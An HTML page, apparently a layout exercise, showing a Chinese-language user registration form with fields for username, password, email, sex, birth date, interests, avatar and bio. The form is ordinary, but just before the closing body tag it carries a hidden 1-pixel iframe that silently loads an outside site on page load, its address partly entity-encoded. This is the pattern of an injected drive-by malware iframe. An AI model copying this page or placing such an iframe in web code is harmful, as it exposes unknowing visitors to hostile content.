<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>div+css布局</title>
		<style>
			body{
				margin: 0;
				padding: 0;
			}
			#main{
				width: 1000px;
				height: 600px;
				background-color: lightyellow;
				align-self: center;
				margin: 30px auto;
			}
			.rowLine{
				width: 90%;
			}
			.colum{
				float: left;
				width: 30%;
				height: 50px;
				margin: 5px 15px;
			}
			.colum span{
				margin-left: 300px;
			}
		</style>
	</head>
	<body>
        <form>
    	<p align="center">填写用户注册信息</p>
    		<div id="main">
        		<div class="rowLine">
        		    <div class="colum">
    				    <span>用户名：</span>
    			    </div>
    			    <div class="colum">
    				    <input type="text" id="userName"name="userName"value=""/>
    			    </div>
    			</div>
    			<div class="colum">
    				<p>登录用户名</p>
    			</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>密码：</label>
    			</div>
        		<div class="colum">
    			    <input type="password" id="userPsw"name="userPsw"/>
        	    </div>
        	    <div class="colum">
    			   <p>登录密码，6个以上字母数字组合，不区分大小写</p>
    		    </div>
    		</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>注册邮箱：</label>
    			</div>
        		<div class="colum">
    				<input type="email" id="userEmail"name="userEmail"/>
    			</div>
        		<div class="colum">
    				<p>录入后不可修改</p>
    			</div>
    		</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>性别：</label>
    			</div>
        		<div class="colum">
    				<input type="radio" id="userSex1"name="userSex"/>男
    				<input type="radio" id="userSex2"name="userSex"/>女
    			</div>
        		<div class="colum">
    				<p>选择您的性别</p>
    			</div>
    		</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>出生年月：</label>
    			</div>
        		<div class="colum">
    				<select name="year">
                        <option value="1980">1980</option>
                        <option value="1981">1981</option>
                        <option value="1982">1982</option>
                        <option value="1983">1983</option>
                        <option value="1984">1984</option>
                        <option value="1985">1985</option>
                        <option value="1986">1986</option>
                        <option value="1987">1987</option>
                        <option value="1988">1988</option>
                        <option value="1989">1989</option>
                        <option value="1990">1990</option>
                        <option value="1991">1991</option>
                        <option value="1992">1992</option>
                        <option value="1993">1993</option>
                        <option value="1994">1994</option>
                        <option value="1995">1995</option>
                        <option value="1996">1996</option>
                        <option value="1997">1997</option>
                        <option value="1998">1998</option>
                        <option value="1999">1999</option>
                    </select>年
    				<select name="month">
                        <option value="January">1</option>
                        <option value="February">2</option>
                        <option value="March">3</option>
                        <option value="April">4</option>
                        <option value="May">5</option>
                        <option value="June">6</option>
                        <option value="July">7</option>
                        <option value="August">8</option>
                        <option value="September">9</option>
                        <option value="October">10</option>
                        <option value="November">11</option>
                        <option value="December">12</option>
                   </select>月
    			</div>
        		<div class="colum">
    				<p>选择您的出生年月</p>
    			</div>
    		</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>兴趣标签：</label>
    			</div>
        		<div class="colum">
    				<input type="checkbox" id="userHobby1"name="userHobby"/>生活
    				<input type="checkbox" id="userHobby2"name="userHobby"/>娱乐
    				<input type="checkbox" id="userHobby3"name="userHobby"/>体育
    				<input type="checkbox" id="userHobby4"name="userHobby"/>财经
    				<input type="checkbox" id="userHobby5"name="userHobby"/>时尚
    				<input type="checkbox" id="userHobby6"name="userHobby"/>新闻
    			</div>
        		<div class="colum">
    				<p>选择您感兴趣的标签</p>
    			</div>
    		</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>头像：</label>
    			</div>
        		<div class="colum">
    				<input type="file" id="userImg"name="userImg"/>
    			</div>
        		<div class="colum">
    				<p>选取您的图像文件</p>
    			</div>
    		</div>
    		<div class="rowLine">
        		<div class="colum">
    				<label>个人简介：</label>
    			</div>
        		<div class="colum">
    				<textarea id="userInfo"name="userInfo"rows="10"cols="30"></textarea>
    			</div>
        		<div class="colum">
    				<p>请添加您的个人简介情况，以便让朋友们更了解您</p>
    			</div>
    		</div>
    	</div>
    	<p align="center">
    	    <input type="submit" value="提交信息"/>
        	<input type="reset" value="重新填写"/>
    	</p>
        </form>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
